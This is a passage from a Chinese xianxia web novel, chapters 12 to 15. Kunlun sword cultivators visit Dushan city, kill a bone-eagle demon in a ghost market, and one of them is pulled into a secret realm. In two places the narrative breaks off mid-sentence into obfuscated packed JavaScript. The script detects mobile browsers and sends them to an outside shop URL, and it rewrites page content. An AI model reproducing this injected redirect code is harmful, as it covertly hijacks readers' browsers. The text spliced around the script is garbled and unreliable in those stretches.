且赵行舟生前在天字一榜主控位排名上,多年霸榜前三,一手心元破法剑诀极负盛名,纵高一境下仍无人能解,非常厉害。 再有,赵行舟此行若是入伙,以某人如今的德行,势必会随之入伙。 那洞天秘境里还不是横着走了。 如此一想,倒令张天茂莫名心生一丝宽慰和怅惘。再看眼前二人,恍惚间觉得自己好像回到了二百年前。 遥想三人当年第一次代表昆仑组队下试炼之地时,什么都不懂,可有朋友相伴,亦什么都不怕! 背后山河如卷,赵行舟御剑随风张开手,大约是催促他前行,陈时易则凌空一旁,冷淡疏离,从不看人,一直就是这么一副死样。 二人同为昆仑凌绝出身的剑修,天道所属,傲气昂然,正逢年少轻狂的岁月,就差把不可一世写在脸上。 张天茂甚至合理怀疑,昆仑素来目中无人狂妄自大的名声,就是被这几个剑修搞臭的! 昆仑一众弟子则麻木地看着最前方三个人。 这树妖到底是什么来路,被夹在化神巅峰和渡劫期两位大佬中间坐着,竟然还没有因受惊过度呕吐不止,反而神态自若,一点事儿没有?! 如此一想,昆仑弟子对他的钦佩之情,就已几乎要盖过八卦之心了。 -- 渡山郡城门前。 昆仑一行随接引弟子往城内走去。 赵行舟站在城门旁等最后门下侍的队伍。下扇时,陈时易看了赵行舟一眼,正欲说什么,被他做了个微妙的表情制止住。 遂轻嗤一声,大抵是对这种安排不太满意,原地站了片刻,还是冷着一张脸向张天茂走去。 张天茂的脸则更是黑成锅底,你妈的,谁想跟你一起走啊! 渡山郡主行道上,人声鼎沸,小贩吆喝声不绝于耳。 昆仑这支队伍今日虽低调得很反常,但仍然气势脱俗,分外扎眼。行队路过之际,不免就将周围声音压小了些。 路人皆好奇地打量着这一行人。 走在最前方的显然是带队的一峰之主,不知为何,竟有两位。 紫霄峰张真人手持浮绿扇,名满天下,倒是好认。而昆仑南仲君百年间鲜少现世,能一眼认出他的人并不多,所以大家纷纷猜测此人的身份。 昆仑此行拭武大会,竟来了两位峰主。 其中不明身份的一位,从外部样貌、行为举止、昆仑内部地位、以及那张生人勿进的神情上判断,不管怎么看,都应当是那位名声之大如雷贯耳的南仲君。 有心人看此队形,稍作分析,就能得出结论。 随即这个惊人的消息便如迅雷不及掩耳之势,迅速传遍整个渡山郡修真圈! 昆仑此举,无疑打破了五大名门之间的势力平衡,就不知意欲何为! 马文珠在得知自家城内来了一位渡劫期的大能,且刚刚他还在城门口将人认错了,招呼都没打一声,也是惊得一口气没提上来。 他再顾不得后面还有什么贵客要接,连城内禁令都不管了,御物便向昆仑落脚的客栈飞去。左右他是守城主,偶尔破戒也无大碍。 临到客栈前,出于礼貌,马文珠选择落地快步行走。终于走至正门,昆仑弟子已经入住。门前偏僻角落有三人,修为不显,低声讨论着什么。 张真人和南仲君皆换下便衣,浮绿扇收起来了,若不是马文珠不久前刚在门口接过几人,怕是真的认不出来。 张真人道,“我知道渡山郡有一家酒酿得极好,北洲闻名。难得来一趟,快走吧。” 遂又故作诧异对南仲君道,“你不是不喝酒吗,你来干嘛?” 南仲君面露厌烦,“你管得着吗?” 中间那人一手扶额,颇为头疼道,“二位大哥,我是去报名比赛的,不是去玩的。你俩别跟着我了行么,太惹人注目了。” 却听南仲君不屑道,“惹人注目怎么了。” 张真人亦不赞同,“我都乔装成这样了,没人认得出来。你要是不放心,我再带个面具。报名无非一炷香的时间,晚上左右无事,不如去玩啊。” 说到这里,二人大约是已察觉到有人在看。南仲君率先侧目,而后张真人视线也跟过来。 马文珠还什么都没说,被二人这样一审视,只觉得如堕冰窖,冷汗如瀑! 数丈之外,南仲君嗓音如淬了霜的锋刃。 “看什么?” 13. 第 13 章 马文珠没再上前。 他在江湖混了这么多年,该有的眼力劲还是有的。眼下这三人有私事要谈,他凑上去不妥,便遥遥作揖一拜,强压着自己的好奇心,转身走了。 此人的反应倒是验证了赵行舟的顾虑。 遂看着眼前二人,头疼道,“这样不行,你们还是带个面具吧。” 张天茂灵机一动,“我好像正巧剩一张千人面,我找找。”说着从乾坤戒中翻找起来。 千人面是一个易容法器,品阶不高,修真界中常会见到。戴上之后,会有障眼法,令旁人看不出原本样貌。 闻言,陈时易却微偏开头,站着没动。赵行舟以为他是不想带,道,“无妨,我们带酒回来找你,也一样的。” 陈时易低声道,“我没有。” “什么?” “我没有这类法器。”他面上难得出现一丝不自在,道,“没有就不能去了么?” 凌绝峰的作风一向不屑于遮遮掩掩,法器库里没有伪装类法器实属正常。 赵行舟去看陈时易的表情,直把他看得半侧开脸,垂袖中的右手松了又紧,才道,“你这么想去?” 陈时易始终不曾看他,片刻后方才用二人勉强能听到的声音,对赵行舟低声道,“想的。” 对方嗓音低沉、冷冽,在低声说话时又有些磁触般的喑哑。如掺着雪的一股风,摩挲着砂石颗粒在耳膜上滚动,引起轻微的刺痒感。 张天茂终于翻找出了自己的千人面,喜滋滋带上后,却见面前二人一言不发,气氛有点诡异。 要说怎么诡异……就好像有什么不明的力量在轻微拉扯空气。 张天茂形容不出来这种感觉,只觉得诡异。 赵行舟颇为意外注视着陈时易,没想到对方这么坦率。刚刚一瞬间接收到的感应,令他有片刻的怔忪。仔细想想,又觉得荒唐。 应该是会错意了。 远处的街道有叫卖不停,人群中频频传出叫好声。赵行舟向声源处看了一会,道,“你们稍等我一会。” 遂在二人目光中步入人群,不多时,又在张天茂不解的目光中走回来。 手上拎着一个香樟木面具,单面绘着黑面红角,竖眉獠牙,腮处扫了两笔金粉,是凡人傩祭驱鬼惯用的面具。 赵行舟在脸上比了一下,“就近不好找法器,只有这种东西。” 撇下面具,又道,“要不都别带了吧,待会报名,你们在酒楼等我就是。” 张天茂摊手,“我就不摘了,主要是不想跟乱七八糟的人寒暄。” 三人一同向街道走去。路上陈时易不知想什么,始终落后赵行舟半步,眼睛时不时扫着他的右手。 这道目光存在感太强,直把赵行舟盯得回了头,陈时易眉峰轻蹙,冷淡道,“给我看看。” 赵行舟手一动,意识到对方指的是他手中这个傩祭面具。 将面具递过去。对方拿在手中,修长的手指在崭新的绘面上摩挲着,目光低垂落在上面,看不出什么情绪。 等了半天,等不到赵行舟开口,他才似终于忍不住了,闷声再问,“给我买的?” 赵行舟语塞。该面具单是被他这位师弟拿在手中,已然有种神器上插茅草的违和感了,更别提真戴在脸上。 遂失笑向他伸手,“你不合适,还是还给我吧。” 索物的手被人避开。陈时易意义不明地轻嗤一声,右手单扣把面具戴在脸上。 隐约听得见自语,被人压得极低,“分明是给我买的。” 张天茂见状险些呛着,咳嗽两声,感慨道,“你别说,这下驱鬼效果肯定好。” 陈时易看了眼张天茂脸上的千人面,“比你是强。” 赵行舟:…… 三人一行往拭武大会妖物报名处走去,没多久便走入渡山郡内妖界划分的地盘。 此处汇集了天下各色精怪,虽受修真界管辖,不至于当街打杀,但谈论声粗鄙不堪,异常混乱。 负责报名的是琦渊一名弟子,看过赵行舟拿出的昆仑信物便盖章通过,同时不免往他身后两个陪同人看去,感觉这三人的配置好生奇怪。 然而刚打量一眼就觉得眉间刺痛,忙低下头去不敢再看。心里惊骇,对方是什么人,修为竟比他高出这么多? 报完名往张天茂推荐的酒楼走,打听一番,得知位处人妖划界的中线上。 快走到时,张天茂才觉得失策。他只知此处的酒名满北洲,却不想正逢大会赛前,他不报身份,贸然前来,如何与这么多人和妖相争? 眼下别说买酒了,便是还未走近酒楼,已经被人群里三层外三层堵住。 酒香四溢,呼喝声不绝于耳,但看其混乱度与妖管辖区也无甚差别。 三人在酒楼外静站了片刻,一时也无去处。旁边一只妖抱着酒坛子坐在大咧咧路边,和另一只妖吹牛扯闲篇,“自老妖王六十年前被反了,这还是第一次三位大君同时出山,我瞧着那阵仗呀,真是吓人。” 另一只妖喝得醉醺醺的,“出山做甚?” “自然是为了本轮秘境!本轮秘境三个神器,补天石、定魂灯,还有一把……还有一把什么剑,据说是某位人间修者飞升前留下的本命剑。都说这次得神器者得天下,我瞧着妖界此番动静这么大,定不会空手而归。” “唔,说的也是。妖界总共不过六位大君,皆在大乘期。其中三位与魔界交往甚密,两位中立,只有一位与人界交好。我看呐,人界这次多半讨不到什么好果子吃。” “嘘,你小声点,这还是人的地盘呢!我听说,这次魔界对秘境更是势在必得,连那位魔君都打算出手……” 张天茂从人群中退出来,脸色十分沉重,“魔君,城涟?” 赵行舟也在想,魔君城涟?遂问,“以前我们与他在秘境交过手?” “赢过两次。”陈时易声音封在面具后面,大约也能听出他的不以为意。 魔界、妖界和人界进秘境的选拔标准本就不同,并不以年龄作为限制。洞天秘境从来一碗水端平,既然陈时易手中有天道石可以破格进入秘境,妖界、魔界未必就没有这种特权。 张天茂一想到此处就很不淡定,“城涟百年前他已从大乘过到渡劫,如今怕不是离成魔神都不远了。虚微子就让我去跟这种东西抢神器?这不是要我命吗!” 赵行舟明白张天茂的意思,秘境内的修为限制虽对所有人一视同仁,但对手若是境外修为高,在秘境内的优势仍然是压倒性的。 秘境中会限制修为实力,但不会限制法器和法诀类使用。 举例来说,金丹期能用的法诀和渡劫期能用的法诀,虽然在秘境中都只能发挥出金丹期的实力,但要论发挥的效果和杀伤力,显然越高级的越厉害。 这下赵行舟也谈不上帮忙了,他上辈子最多大乘,离渡劫还差一大截。 果然如云裳仙子所说,眼下最有希望的,还是南仲君。 张天茂看了一眼带着傩戏面具的南仲君,感觉不止一点绝望。 这时他腰间的昆仑令牌震动,是有人用密令穿音与他。 张天茂仔细听着,越听脸色越差,最后几乎是喊了出来,“什么?” 随即切断传音牌,翻手撒出三枚铜币,往天上一抛,天空骤然破开一个混沌的通道。张天茂对身后急声道,“琦渊薛从任传音于我,说九足骨雕已现身北洲晋中鬼市,我先行一步!”说着便向混沌处冲了进去。 九足骨雕,妖界六位大君之一,其状如雕,全身覆盖着坚硬的骨羽,好食人。修为大乘中期,极为凶悍,自古便是妖界出了名的亲魔一派,每每出世,不吃够千人绝不罢休,是人间臭名昭著的大凶妖之一。 而鬼市,则是修真者贸易货物之地,以空间发器支撑,游离在人间之外。北洲共有二十余个鬼市场所,晋中鬼市便紧挨着渡山郡。 张天茂手中的三枚铜币,便是鬼市的敲门砖。 九足骨雕数百年未曾出世,人妖两界亦维持着相对平和的关系。如今横空出世,紧挨着拭武大会主办场,挑衅之意呼之欲出! 赵行舟不好袖手旁观,便随张天茂破开的通道一同进入鬼市,看看有什么可以搭把手。 混沌通道中不多时便破出一道光线,还未看清眼前场景,一阵凌厉的风突然当头罩下。 赵行舟瞳孔一缩,侧身欲退,却不料身后有人比他反应更快。还未等他退出去半步,那道突袭已停滞与空中,如触及看不见的雷网,竟是一根寒光猎猎的骨羽。 随即,这根骨羽体表闪烁起电流似的白光,掺杂着身后人惊雷般的怒气,无端以比来时更快的速度倒射而回! 天空中响起一阵震耳欲聋的凄厉鸣叫,似婴儿尖叫,瘆人异常。 空中五位长老级修真者将硕大的九足骨雕包围其中,其中三人见了血,却连这只鸟体表的骨羽都没能破开。 只能任其炸射着骨羽,无差别伤亡鬼市下方正在逐步撤退的年轻修士,伤亡不明。 直到昆仑张峰主闻讯赶来,还未招出扇子向下设防护盾,一道雷光随之飞射而至。 众人几乎都没怎么看清楚,骨雕便惨叫出声,右翼下方更是莫名被击穿一大片,连血肉都翻了出来。 血水下,陈时易重重握住赵行舟的手臂,力道惊人,连声音都不稳了,“你跑什么!” 赵行舟抬头专心看了一会形势,道,“你去帮天茂,他一个守位,对手比他强,他只能站着被人打。” 上方九足骨雕因伤势陷入狂怒,陈时易闻言却站着未动。赵行舟察觉到对方不理他,抬手便去摘他脸上的面具,想看他是什么意思。 摘得时候对方侧了下脸,大约是有些不情愿,但最后还是让赵行舟摘了。 面具后那人沉着一张脸,显然心情不甚明朗,还有一丝难压的怒意。 赵行舟倒没所谓,他对自家师门的赞赏从来不假辞色,去拍对方的肩膀,“你厉害,不拔剑都能将这只鸟伤成这样。” 陈时易终于抬了一下眼皮,轻嗤,“这算什么。” 见陈时易目光落在他手上,赵行舟便将面具递还给他,“你若喜欢,回去我再找几个不重样的给你就是。你先去帮张天茂。” 陈时易怒气未消,将面具收入乾坤戒,不说好,也不说不好,只道,“我去帮他,你怎么办?” 赵行舟闻言摇摇头,“你未免太小看我了,我如今就算再弱,也不至于这点自保能力都没有吧。” 刚刚那根骨羽不是锁定他来的,不过一个范围性扫射,饶是陈时易不出手,他自有办法躲开。 陈时易也知道对方说的是真话,可心里难免绷着根弦。于是从乾坤戒中取出一柄长剑,递过去。 “你先随其他人回去。”陈时易冷声道,“我杀了这只鸟就来找你。” 天青色剑鞘尽染风尘,被人执于手中,又被赵行舟一把接过。 阔别百年,没想到竟在这种情境下再见惊春。 “原来在你这里。”赵行舟自语一句,右手熟练地掂量着剑,心中不免喜悦。正欲道谢,被头顶一声鸟叫打断,遂对他道,“速去速回,解决了这只鸟,我必要好好与你道谢。” 陈时易闻言不再多说,御剑拔地而起。赵行舟低头看着手中剑。入手重量分毫不差,剑虽蒙尘,可气势不减。感慨之际,他牵引神识覆盖剑身,试图与之重新建立联系。 不料,刚接触的一瞬间,一股极熟悉的气息突然自剑中涌入他的身体,直窜入眉心处。 同时出现的,还有几个碎片状的画面。 遥记百余年前,赵行舟负剑向天,脑中尚存着窥见天道前,藏明月那一缕残魂留下的祭天言诀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437503|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可他偏不服从,施诀之际,一身修为并未应召诀中所示祭天,反而尽数倾泻于另一人的剑上。 于此同时,他的身体连同神魂开始分裂,多数陨落尘土,不知去向。仅有一小股缠绕在惊春剑上,随昆仑之巅的雪一同沉寂百年,无人知晓。 甚至连赵行舟自己都没有意识到,他转生后缺的是什么。 一向昏沉的神魂受激,骤然开始清晰,眉间发热,如同吸收了什么能量,意识莫名震颤起来! 紧接着是刺痛,如蟒蛇卷入识海,几乎撑裂头骨的剧痛! 陈时易一心只想尽快了事,御剑飞至半空,突然似有所觉,回头望时,却见赵行舟手持惊春,站在原地没动。 此人手持惊春的模样如此熟悉,令他有一瞬间与记忆中那道身影混淆。可下一刻,他立时察觉到对方的状态不对劲。 与此同时,空中骨雕突然凄厉狂叫,骨羽四下散射,声浪飞速漫过整个鬼市,令化神以下的修仙弟子纷纷捂耳跪地,脸色痛苦难当。 更有甚者开始吐血,随即被飞射的羽毛切成两半,一时间血流成河。 竟是神魂攻击! 陈时易脸色一变,拂袖将半边天的骨羽挥散,回身迅速下降时,见赵行舟口中溢出一丝血来,随即是鼻腔和双眼中,频频落下血迹。 赵行舟分明痛极,神情上却什么都看不出,只是沉着一双眼向天上看。他并未看骨雕,也并未看任何人,恍惚间代入至一段记忆中,直至喃喃唤了声,“师父。” 沉默片刻,血如泪落下来,又道,“师弟……” 刹那间,赵行舟的全身亮起无数瓣金莲,与血水交融,轰然震碎开来。 陈时易缩地而来,爆破雷鸣似阔斧开山,跟不上其行进的速度! 却只捞得住手中一捧碎掉的金屑。 他瞳孔缩了一瞬,有间或的仓皇,伸手怔怔看着赵行舟消失的地方。 顷刻间,识海中暴戾与血腥气动荡起来,依附其骨肉,覆盖他摇摇欲坠的理智。 空中。 无人知道下面发生了什么,僵持不下之际,忽然看得到一根缠着雷纹的疾光如线,凭空出现在骨雕脖颈根部,骨羽最重的地方。 未觉轻重,骨雕头身已如榫卯拼接一般分离,入目横切面极为平整。 倏尔金色剑光暴涨,剑意更似洪一般,挟着浓郁的霜雾与雷纹交杂,横扫而出! 骨雕庞大的身体失去支撑,垂直向地面掉落,头却停在原处。 众目睽睽之下,陈时易一手持剑,一手抓住骨雕的头。寒霜从指力中破骨而出,那鲜血才似爆浆了一般,骤然喷射。 张天茂刚张开防护罩,就感知到一股强悍至极的压迫感自上而下倾降,逼得他难以喘息,当下就辨认出来了来者是谁,却不知这人突然又在发什么疯。 随即雷光如白昼从地面延至陈时易周身绽开,光纹错杂鼓裂,涨势千里不歇! 妖丹正在头骨中,骨雕如此身首分离,竟一时不死。 然而眼前发生的一切令它呆滞麻木,不多时,仅剩的那颗头上,它酷似人的五官中才流露出惊哀软弱的神情。 它生为远古大妖后裔,修炼近万年,吃过的人不可计数,从不屑于化为人形。它也并非没有遇到过比自己强的对手,只是总有余地令它重伤下得以逃脱。 可连反应都无法反应,直接被人逼入死局,还是头一遭! 骨雕动身前来之前,听说的是此次人间拭武大会修士最高不过大乘,如何想得到其中竟会有渡劫期相随,且一出手如此便不留余地! 却听拎着头的这个人开口了,嗓音干涩,凝顿不堪,夹杂着彻骨的寒意,“你把他怎么了?” 骨雕勉强扭动眼珠,想看清楚杀他的人是谁,只看到一张神情阴测测的脸。 昆仑南仲君谪仙般的气质本就沾了生得好的光。如今脸被些许吹落的发半遮住了,戾气更欲破出骨相。再配上他满手鲜血淋漓,阴森古怪的眼神,简直比他手中被砍了头的骨雕还渗人。 等不到手中头颅回答,那个极硬的头骨便被捏碎五个窟窿,被人一把攥住妖丹。南仲君捏着那颗头,提起来硬逼骨雕与他对视,语气轻且沙哑,道,“我再问一遍,他人呢?” 被捏住妖丹的骨雕立刻崩溃了,“放了我,不是我做的,我根本不知道你说的是谁!” 南仲君目色狰狞一瞬,随手便捏碎了指尖的妖丹。 空中无人说话。 骨雕从被砍头到妖丹尽碎,不过几个呼吸间,在场修士对发生的一切都缓不过神来,看着眼前人的行为,又惊又惧。 昆仑南仲君近百年的传闻可谓不妙,眼瞧着他不对劲,更无人敢上前搭话,只怕他抬手把自己人也砍了。 气氛比方才对峙九足骨雕还要紧绷。 张天茂亦是紧张,他这几日见陈时易精神稳定,差点忘了他发疯是多么棘手的一件事。 顺着他来的方向看去,没看到想见的人,反而看到一个金色的漩涡。 那漩涡正在由小变大,竟是一个新的混沌之门! 张天茂愕然出声,“这是洞天秘境,怎么提前了好几天,还把入口开在鬼市了?” 如此一说,众人才发现下面的情形,一时间更为吃惊,皆不知道发生了什么。 历届秘境开放,入口数量和地点都不固定,但从未有在鬼市开放的情况。 毕竟鬼市游离于人间之外,仅是远古修者用空间法诀留下的方寸之地罢了。 还是张天茂反应快,扭头对陈时易道,“他……他这是进去了?” 陈时易迟缓地向张天茂侧过脸来,目光阴沉执拗,掺着血色。 好似在看人,又好似什么都没看。 下一秒,他左手现出一颗刻有金莲光印的石子,身形一闪,便原地消失了。 14. 第 14 章 赵行舟意识不清,漂浮在金色的云浪中。 无数碎片涌入识海,令神魂震颤不停。识海中,木头妖丹外层片片剥落,内部却抽芽似的生长,直至圆体生长出棱角,最终化成一个不伦不类的形状。 凭空出现的记忆并非是连贯的。 一个人的身影出现其中,不意外,有些陌生。 八荒三百四十一年,适逢西洲大荒,饿殍遍野。 谢海生从山下带回一个新面孔。 十五六岁的少年,身量瘦削,微低着头。到了一个新地方,不抬头,亦没有任何表示,只下半张脸紧绷着,异常沉默。 裹体的衣裳烂得像纸,勉强能看出原本衣料金贵,像是大户世家出身,又遭了什么难,沦落成这副模样。 谢海生抓着脸上一把大胡子,对赵行舟介绍道,“为师此次下山新收了一个徒弟。行舟,你是师兄,你来带他。” 赵行舟入门十年,受淬体的效果,样貌变化得慢,那时看着也不过十八九岁。他右肩抗着锄头,左手拎着云崖竹种,闻言笑了,“谢海生,老子在这破山上待了十年,鸟都被我打得改道飞了,你还不放我下山,你还让我给你带新徒弟?” 谢海生早习惯了赵行舟这种态度,自知理亏,便轻咳两声道,“我不是说过吗,只要你突破金丹,我就放你下山历练。还有,在山上就好好叫师傅,不要带坏你的师弟!” 赵行舟切了一声,摆出一个漫不经心的表情,打量眼前眼前人。对方大约察觉到什么,忽然抬起头,冷冷与他对视。 凌绝海一样的云气拂过山巅,一张颇为惊人却很不好惹的脸从散乱的长发后显出来。双唇没有血色,下颌清晰,冷峻的侧脸直至左肋下染有一大片褐色陈血,不知是谁的。那双微微上翘细长眼睛又沉又暗,像一把刚出鞘就生了锈的刀,藏有一层很深的戒备。 这还有带得更坏的余地吗? 赵行舟微哂,想去找谢海生理论,却发现他这个不负责任的师傅,把人丢下,竟然就这么御剑走了。 沉默片刻,再回头看,只觉得无比麻烦。 而谢海生跑得这么利索,大概也是觉得这种情况棘手,索性撒手不管。 赵行舟出生于庶民家庭,父母早亡,作为孤儿在市井中流窜到十五岁,过得不算好,也算不上太差。 但他对这种眼神并不陌生。 拜入昆仑那年,正逢大荒第一年,他所处的城镇还未受太大影响,只是有难民陆续围在城外讨食,令城内生活也渐入窘境。 他见过形形色色的眼神。 从优渥的环境骤然堕入地狱,从衣食无忧沦落成濒死的饥民,目睹人间惨剧不盛其数,从死人堆里一步一步活下来的,就会出现这种不择手段的眼神。 眼下赵行舟手上还拎着云崖的竹种,无处安置,眼前这位新来的师弟显然也不是个好相处的。他对陌生人的事一向没什么耐心,也并没有兴趣打听对方经历过什么,便道,“你要是不想死,就跟我走。” 走出去一段路,身后毫无要跟来的迹象。赵行舟没有回头再说的意思,阔步走远了。 遥想赵行舟刚入门那段时间,谢海生不需要进食,丢给他几本心法,教了两招吞吐呼吸法,就放他自生自灭。 偌大一个凌绝峰,连个伙房都没有。赵行舟自己打了一阵的野味,吃得实在受不了,只能自寻活路,跑去周围峰找同门蹭饭吃。 时间长了,另外四座大山的膳房掌勺也习惯他常来常往。 原本觉得谢海生如此放养他就算极限,没成想新收了一个徒弟,比当年更不负责任,当真不管人死活了。 新师弟初来乍到的第一个下午,赵行舟并未多做理会。他在自己宅舍前打理好新栽下的云崖竹,又去观云主峰的膳房打了一份饭,方才慢悠悠回来。 晌午分别的地方不见人影,赵行舟秉承着不能把人真饿死的心理,找了几圈,在不远处一棵千年青松的树根上,找到要找之人。 少年半截身子趴在树根上,垂着头,残喘着呼吸,瘦骨嶙峋的手抠在树的缝隙里,用力过猛,将指甲绷得都是鲜血。 察觉到有人出现,少年一惊,猛地从树上翻到在地。随即强撑无力的身体坐起来,绷紧了眼神审视前方,稍有风吹草动,就欲爬起来拼命。 赵行舟自然无惧,把手中半热不凉的饭碗往地上一放,提醒道,“这棵松树在凌绝峰被地气养了几千年,我都拿它没办法,更别提你。” 少年不答话,强压着喘息,用更凶狠的眼神看向他,有针锋相对的恨意。 云浪在凌绝翻涌,古松仙气萦绕,两人之间隔着一层模糊不清的气海。 饭碗中一荤一素,米饭烧饼,外带两根卤鸡腿,碗被满荡荡的食物压得冒尖了,插空别着两根随手削来的竹筷。 等了一会,见对方没有接近的意思,赵行舟不再开口。走时,身后没有人跟上来,他亦没有留步。 谢海生把人丢给他,那他只要保证人死不了就完了。至于眼前人有什么想法,他并不在意。 而后一段时间两人再无交流。 赵行舟每天固定早晚两个点去松树下投食,态度散漫。对方从一开始隔着老远,浑身带刺,渐渐地适应环境,竟也在这种沉默中越走越近。 没几天,赵行舟在对方身上看到一层水汽,大约是刚沐浴不久。少年满身湿意坐在古松庞杂的树根上,连衣服一起洗了,浑身上下淌着水。脸皮白得不像活人,神情冷淡,五官轮廓清俊得有些锋利。听到声音便抬头看着他,看清来人后,警惕减去一分,双眼恰似两颗寒星。 相顾无言放下饭碗,再往回走时,赵行舟想,他这每天跟喂狗似的来来回回,算是怎么个事儿? 他回去拿了一套衣服,左右没新的,就是他刚入山时个子没完全长起来,穿剩下的。将就着对付吧。 赵行舟再回到松树前,把衣服丢过去就走了。 第二天送饭时,看到对方身上和他同样的衣服,赵行舟第一次萌生出“自己还真有师弟了”的实质感受。 连带着看对方整个人都顺眼不少。 而后又过几天,目睹长时间无言的进食结束后,赵行舟再一次耐着性子喊他,“喂。” 见对方坐着没反应,又道,“跟我走吧。” 这次,对方终于在他耐心尽失之前,向他看过来。 少年开口,嗓子沙哑得像是声带受损,有微薄的冷意,“去哪?” “回家。“赵行舟手一挥,起身便走。 走出古松巨大的树冠,日光穿透断断续续的云层,直落在他身上,远处,昆仑群山多而险峻,凌绝山高,万里一览无遗。 回首,身后人慢腾腾跟上来。 凌绝从来没什么人气,这样多出一个活人,赵行舟感觉心情不错,边走边问他,“你叫什么名字?” 少年不欲搭话,被来回问了好几次,不厌其烦,勉强开口答道,“陈时易。” 走在前面的赵行舟随性笑道,“行吧。我叫赵行舟。谢海……那什么,师父不在山上时,凌绝峰就是我说了算,以后你记得叫我师兄,知道吗?” 言罢,见对方还是没有要交谈的意思,赵行舟又道,“你叫我师兄,以后昆仑我罩着你呗?” 对方闻言,终于抬头,只冷冷回了他一个不屑的眼神。 那个眼神如有实质,激荡着神识之海,令赵行舟从久远的记忆碎片中忽然睁开眼。 不期然与另一双眼睛对视上。 一双和刚才回忆中完全不同的眼睛。神采奕奕,眼梢妖娆,含着浅淡的笑意。 隐约有花瓣落在赵行舟脸上,细微花香迎面而来,然后是女人一声笑,“你在此地睡了足有五天,我好心把你捡回来,不让人欺负你,你是不是应该好好感谢我一下?” 赵行舟一愣,觉得气息不对,开启神识去看她本体。 遂发现面前说话这位,竟是只花妖。 -- 洞天秘境是一片广袤无垠的山河画卷。 此地城池无数,有人生活其中,花草树木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437504|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,生机盎然,高山瀑布,亦灵气蓬勃。逼真得令入境人分不清,此种宝地是否真实存在在天下的某一个角落。 一座名为溪诀的古城前,牌匾刻有一朵巨大的金莲,城门巍峨耸立,散发着古朴沉重,不可违抗的威严。深邃通道中泛起一丝混沌的光亮,正是试炼之地的入口。 溪诀城外,数以千计的修真者汇聚于此。 沿路摆摊不在少数,多是以物换物,法诀、法器、符咒应有尽有。 其中地级品阶的最烂大街。其次是人级品阶,也算常见。仙阶的就很少了。再往上天阶,那完全是可遇不可求。无论开价多么离谱,一经现世无不引发一番哄抢。更甚有实力不济者,被杀人越货,也是常见之事。 沈文铮和同门一身伤御剑赶至溪诀地带时,她摇摇欲坠,同门伤势较轻些,二人搀扶着落地,引起正道人士一阵不小的轰动。 她身为昆仑现任掌门最小的一个徒弟,天资超绝,不足百年已至金丹期高阶,又是一位剑修。 剑修战斗力本就比同阶修士再高半截,于这片金丹圆满封顶的秘境中,沈文铮几乎算得上是顶尖的战斗力。 加之她生的美貌,背后势力显赫,乃正道无数人拉拢的对象,亦是本轮试炼之地的热门选手,怎会还没开始就身受重伤? 一时间猜测纷纭,有人说她是身上带了昆仑的天阶神器,引发歹人埋伏。也有人说她是不巧遭遇了魔界的人。 只是魔界与人界的入口相去甚远,魔界的人想要短短几日内赶到溪诀这边搞袭击,并不现实。 扶着沈文铮的人同为昆仑弟子,出身紫霄峰,名为钟枫离。 他年长沈文铮几十岁,平时与其交际并不多。上次和她有交流,还是在龙砚峰一同观战那个树妖与金猊的选拔赛。 两人修为相近,钟枫离同为金丹高阶的剑修。只是其师长为人比较低调,所以名气不及沈文铮这样响亮。 此次拭武大会钟枫离并未参加,会被本轮秘境选中,也是阴差阳错。 所有人入秘境的落地地点都是随机投放的,钟枫离被投放的区域里溪诀非常远。他秉承着来都来了不如去溪诀城一试的心理,正巧在赶路途中偶遇沈文铮。 与其他修士猜测不同,沈文铮并非遇到修真者埋伏,也不是与魔界厮杀,她只是遇到了鬼域的人。 这事说来有些尴尬。八十年前南仲君和鬼王结下死仇,原本只是他们两人之间的事。后来却不知怎么演变的,连带着昆仑全体弟子和整个鬼域一并结下死仇。 如今这份仇恨已然发展到了双方见面不死不休的地步,再没有可调节的余地了。 是故,当钟枫离见沈文铮一身是血被鬼域三位金丹期使者包围时,想也没想,拔剑便下去支援。 他修得主杀位,沈文铮则为主控副杀位,两个人搭配比想象中趁手许多,不多时便杀出重围。然而有伤在身,勉强赶至溪诀时,已是试炼之地报名的最后一天。 溪诀城门上一张巨大的天幕挂着天字一榜的榜单,上面密密麻麻足有近千个名字。天榜下方则是组队报名处,沈文铮和钟枫离对视一眼,一瘸一拐向着报名走去。 眼下沈文铮伤势未愈,但试炼之地机缘难得,不仅有三个神器可抢夺,还有许多外界想都不敢想的机遇。洞天秘境几十年未毕有机会进来一次,若不去试炼之地看一圈便回头,实在不甘心。 然而要进入试炼之地亦有强制要求,必须组队五到八人,凑齐天字榜上五个位置,才能进入。这五个位置分别是:杀位、控位、守位、探位、生位。 其中每个位置可以重复两位,但最少不能少于五人,最多不能超过八人。 眼下时间紧迫,相识的同辈大多早已进去了。沈文铮和钟枫离一个控位、一个杀位,还差守、探、生三个位置,不知何处去寻。 他俩势力不弱,站在组队台前十分惹人注目,欲结交组队之人前仆后继。昆仑弟子向来眼高于顶,对来路不明之人难以信任。可短时间内想要寻一个可靠之辈,又谈何容易? 15. 第 15 章 赵行舟醒来后,一路御惊春剑往溪诀狂奔,身后花妖一直纠缠不休,道,“我还从未见过修剑道的妖,你到底是什么来路?” 赵行舟不答,听此妖又说,“喂,怎么说我也救了你,你就想这样把我甩下,也太不尽妖情了吧!” 